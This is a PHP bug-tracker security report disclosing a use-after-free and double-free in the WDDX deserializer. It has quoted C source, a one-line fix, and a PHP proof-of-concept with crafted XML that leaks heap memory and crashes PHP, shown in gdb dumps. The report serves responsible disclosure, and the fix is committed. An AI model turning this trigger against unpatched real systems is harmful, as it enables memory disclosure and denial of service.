php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71587 Use-After-Free / Double-Free in WDDX Deserialize
Submitted: 2016-02-14 10:35 UTC Modified: 2016-03-02 06:38 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: WDDX related
PHP Version: 5.5.32 OS: Linux, Unix
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: manhluat at vnsecurity dot net
New email:
PHP Version: OS:

 

 [2016-02-14 10:35 UTC] manhluat at vnsecurity dot net
Description:
------------
There is use-after-free flaw in WDDX Deserialize implement when trying to process XML data.


******************** SNIP ********************
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
...
	} else if (!strcmp((char *)name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;

		ZVAL_STR(&ent.data, ZSTR_EMPTY_ALLOC());
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st_entry));
...
	} else if (!strcmp((char *)name, EL_VAR)) {
		int i;

		if (atts) for (i = 0; atts[i]; i++) {
			if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
				stack->varname = estrdup((char *)atts[i]);
				break;
			}
		}
...
******************** SNIP ********************

The name of the following data is specified by attribute 'name' of 'var' tag.

For example, when I was trying to set the name of <string> data.

It will then do `SET_STACK_VARNAME` which does the following producere:


******************** SNIP ********************
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\
******************** SNIP ********************

You can see that if stack->varname is exists, it will assign ent.varname by that value.

Here is our problem, what would happen if I open <var> then close it immediately prior to processing <string> tag.

It would call handlers for push/pop elements.


******************** SNIP ********************
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	st_entry 			*ent1, *ent2;
	wddx_stack 			*stack = (wddx_stack *)user_data;
	HashTable 			*target_hash;
	zend_class_entry 	*pce;
	zval				obj;
...
	} else if (!strcmp((char *)name, EL_VAR) && stack->varname) {
		efree(stack->varname);
...

}

******************** SNIP ********************


In php_wddx_pop_element(), it was free-ing stack->varname, when closing tag. But...it doesn't re-assign it by NULL ?!.

And it will process data in <string> tag and set ent.varname by that `freed` value.

That's how we manipulate this use-after-free issues.

You can run below PoC and see memory leak value.

Furthermore, We probably causes Double-Free from this bug.



******************** SNIP ********************
static void php_wddx_process_data(void *user_data, const XML_Char *s, int len)
{
	st_entry *ent;
	wddx_stack *stack = (wddx_stack *)user_data;
...
			case ST_BOOLEAN:
				if (!strcmp((char *)s, "true")) {
					Z_LVAL(ent->data) = 1;
				} else if (!strcmp((char *)s, "false")) {
					Z_LVAL(ent->data) = 0;
				} else {
					stack->top--;
					zval_ptr_dtor(&ent->data);
					if (ent->varname)
						efree(ent->varname);
					efree(ent);
				}
				break;
...

******************** SNIP ********************

If the value of <boolean> tag is neither "true" nor "false", it will free ent->varname once more (double-free).

Below backtrace of gdb will give you details.



* Notice
- Calculated crafting will even cause crash and let it over-write data to other segments in PHP5 ubuntu package.
- Effects on 32-bit,64-bit as well.

* Fix
	} else if (!strcmp((char *)name, EL_VAR) && stack->varname) {
		efree(stack->varname);
+		stack->varname = NULL;
		}

Test script:
---------------
<?php

$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
    <array>
         <var name='ML'></var>
            <string>manhluat</string>
         <var name='ML2'></var>
         	<boolean value='a'/>
         <boolean value='true'/>
    </array>
</wddxPacket>
EOF;

$wddx = wddx_deserialize($xml);
var_dump($wddx);
// Print mem leak
foreach($wddx as $k=>$v)
	printf("Key: %s\nValue: %s\n",bin2hex($k),bin2hex($v));

?>

Expected result:
----------------
root@ubuntu:~/test/debug/php-7.0.3# php5 -v
PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
root@ubuntu:~/test/debug/php-7.0.3# php5 /root/test/php-7.0.3/poc/1.php 

array(2) {
  ["manhluat"]=>
  string(8) "��+�@"
  [0]=>
  bool(true)
}
Key: 6d616e686c756174
Value: 6d616e686c756174
Segmentation fault (core dumped)
root@ubuntu:~/test/debug/php-7.0.3# 

--------------------------------------------
root@ubuntu:~/test/debug/php-7.0.3# ./sapi/cli/php -v
PHP 7.0.3 (cli) (built: Feb  7 2016 14:42:27) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
root@ubuntu:~/test/debug/php-7.0.3# ./sapi/cli/php /root/test/php-7.0.3/poc/1.php

array(2) {
  [" `�d"]=>
  string(8) "manhluat"
  [0]=>
  bool(true)
}
Key: 102060dd647f <-- LEAK LEAK!!!
Value: 6d616e686c756174
Key: 30
Value: 31
root@ubuntu:~/test/debug/php-7.0.3# 

Actual result:
--------------
gdb-peda$ r /root/test/php-7.0.3/poc/1.php
Starting program: /root/test/debug/php-7.0.3/sapi/cli/php /root/test/php-7.0.3/poc/1.php

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff6402008 (0x00007ffff6402008)
RBX: 0x125e2a8 --> 0x65756c6176 ('value')
RCX: 0x124a860 --> 0x1240061 --> 0x123f4 
RDX: 0x1 
RSI: 0xe0fe99 --> 0xe0000065736c6166 
RDI: 0x7ffff6402008 (0x00007ffff6402008)
RBP: 0x7fffffffa530 --> 0x7fffffffa670 --> 0x7fffffffa6e0 --> 0x125cc60 --> 0x125df70 --> 0x0 
RSP: 0x7fffffffa3d0 --> 0x7ffff6401520 --> 0x7ffff64563f0 --> 0x700000001 
RIP: 0x7ce9ad (<php_wddx_process_data+1679>:    call   0x8509e0 <_efree>)
R8 : 0x0 
R9 : 0x0 
R10: 0x125e2a8 --> 0x65756c6176 ('value')
R11: 0x3 
R12: 0x50 ('P')
R13: 0x125ad33 ("value='a'/>\n         <boolean value='true'/>\n    </array>\n</wddxPacket>")
R14: 0x125e6e0 --> 0x125e2a8 --> 0x65756c6176 ('value')
R15: 0x1
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ce99f <php_wddx_process_data+1665>:       mov    rax,QWORD PTR [rbp-0x120]
   0x7ce9a6 <php_wddx_process_data+1672>:       mov    rax,QWORD PTR [rax+0x18]
   0x7ce9aa <php_wddx_process_data+1676>:       mov    rdi,rax
=> 0x7ce9ad <php_wddx_process_data+1679>:       call   0x8509e0 <_efree>
   0x7ce9b2 <php_wddx_process_data+1684>:       mov    rax,QWORD PTR [rbp-0x120]
   0x7ce9b9 <php_wddx_process_data+1691>:       mov    rdi,rax
   0x7ce9bc <php_wddx_process_data+1694>:       call   0x8509e0 <_efree>
   0x7ce9c1 <php_wddx_process_data+1699>:       jmp    0x7ceb81 <php_wddx_process_data+2147>
Guessed arguments:
arg[0]: 0x7ffff6402008 (0x00007ffff6402008)
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa3d0 --> 0x7ffff6401520 --> 0x7ffff64563f0 --> 0x700000001 
0008| 0x7fffffffa3d8 --> 0x1681a4b18 
0016| 0x7fffffffa3e0 --> 0x124a860 --> 0x1240061 --> 0x123f4 
0024| 0x7fffffffa3e8 --> 0x7fffffffa9b0 --> 0x1000000001 
0032| 0x7fffffffa3f0 --> 0x7ffff7fda5f0 --> 0x7ffff7ffe1c8 --> 0x0 
0040| 0x7fffffffa3f8 --> 0xf7de4816 
0048| 0x7fffffffa400 --> 0xffffffff 
0056| 0x7fffffffa408 --> 0xfffffff900001406 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00000000007ce9ad in php_wddx_process_data (user_data=0x7fffffffa9b0, s=0x124a860 "a", len=0x1) at /root/test/debug/php-7.0.3/ext/wddx/wddx.c:1011
1011                                                    efree(ent->varname);
gdb-peda$ c
Continuing.
array(2) {
  [" @�"]=>
  string(8) "manhluat"
  [0]=>
  bool(true)
}
Key: 102040f6ff7f
Value: 6d616e686c756174
Key: 30
Value: 31
[Inferior 1 (process 32505) exited normally]
Warning: not running or target is remote
gdb-peda$ 

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-02-14 10:38 UTC] manhluat at vnsecurity dot net
Following backtrace is debug information of php5 ubuntu's package which cause crash.



gdb-peda$ r -v
Starting program: /usr/bin/php5 -v
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
[Inferior 1 (process 32525) exited normally]
Warning: not running or target is remote
gdb-peda$ r /root/test/php-7.0.3/poc/1.php
Starting program: /usr/bin/php5 /root/test/php-7.0.3/poc/1.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

array(2) {
  ["manhluat"]=>
  string(8) "�b���"
  [0]=>
  bool(true)
}
Key: 6d616e686c756174
Value: 6d616e686c756174

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7003043 (<__bam_merge_44_recover+435>:      (bad))
RBX: 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>:  rex)
RCX: 0x33 ('3')
RDX: 0x0 
RSI: 0x3 
RDI: 0xebed40 --> 0x1 
RBP: 0x7ffff7fc9d88 --> 0x7ffff7fc9da8 --> 0x31 ('1')
RSP: 0x7fffffffabf0 --> 0x10059797b 
RIP: 0x63b117 (<zif_bin2hex+103>:       mov    BYTE PTR [rax+rdx*2],cl)
R8 : 0xb55f00 ("0123456789abcdef")
R9 : 0x7ffff7f96080 --> 0x7ffff7f96088 --> 0x7ffff7fc9d88 --> 0x7ffff7fc9da8 --> 0x31 ('1')
R10: 0xebcf80 --> 0x0 
R11: 0x7ffff7f962b0 --> 0x7ffff7fc9db8 --> 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>:    rex)
R12: 0x1 
R13: 0xea06ae --> 0x0 
R14: 0x7ffff7fc98b8 --> 0x79e7b0 (<ZEND_DO_FCALL_SPEC_CONST_HANDLER>:   push   r14)
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x63b10c <zif_bin2hex+92>:   shr    cl,0x4
   0x63b10f <zif_bin2hex+95>:   and    ecx,0xf
   0x63b112 <zif_bin2hex+98>:   movzx  ecx,BYTE PTR [r8+rcx*1]
=> 0x63b117 <zif_bin2hex+103>:  mov    BYTE PTR [rax+rdx*2],cl
   0x63b11a <zif_bin2hex+106>:  movzx  ecx,BYTE PTR [rbx+rdx*1]
   0x63b11e <zif_bin2hex+110>:  and    ecx,0xf
   0x63b121 <zif_bin2hex+113>:  movzx  ecx,BYTE PTR [r8+rcx*1]
   0x63b126 <zif_bin2hex+118>:  mov    BYTE PTR [rax+rdx*2+0x1],cl
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffabf0 --> 0x10059797b 
0008| 0x7fffffffabf8 --> 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>:      rex)
0016| 0x7fffffffac00 --> 0xea06ac --> 0x0 
0024| 0x7fffffffac08 --> 0xf04bd0 --> 0x7fffffffcf01 --> 0x700000000000000 
0032| 0x7fffffffac10 --> 0xebcf80 --> 0x0 
0040| 0x7fffffffac18 --> 0x6de08b (<dtrace_execute_internal+43>:        cmp    WORD PTR [rbx],0x0)
0048| 0x7fffffffac20 --> 0x0 
0056| 0x7fffffffac28 --> 0x6fb84c (<_zend_hash_quick_add_or_update+1004>:       test   rax,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000063b117 in php_bin2hex (newlen=<synthetic pointer>, oldlen=0x1, old=0x7ffff7fcb090 "1") at /build/php5-pO28mL/php5-5.5.9+dfsg/ext/standard/string.c:143
143     /build/php5-pO28mL/php5-5.5.9+dfsg/ext/standard/string.c: No such file or directory.
 [2016-02-15 04:19 UTC] stas@php.net
-PHP Version: 7.0.3 +PHP Version: 5.5.32
 [2016-02-15 06:35 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-02-15 07:20 UTC] stas@php.net
Committed to security repo as b1bd4119bcafab6f9a8f84d92cd65eec3afeface.

Also please see and verify https://gist.github.com/anonymous/e10c9fb9e148c17cef44
 [2016-02-15 12:29 UTC] manhluat at vnsecurity dot net
well, the issue is fixed.
 [2016-03-02 06:39 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b1bd4119bcafab6f9a8f84d92cd65eec3afeface
Log: Fixed bug #71587 - Use-After-Free / Double-Free in WDDX Deserialize
 [2016-03-02 06:39 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-03-02 06:56 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b1bd4119bcafab6f9a8f84d92cd65eec3afeface
Log: Fixed bug #71587 - Use-After-Free / Double-Free in WDDX Deserialize
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b1bd4119bcafab6f9a8f84d92cd65eec3afeface
Log: Fixed bug #71587 - Use-After-Free / Double-Free in WDDX Deserialize
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Nov 23 08:01:28 2024 UTC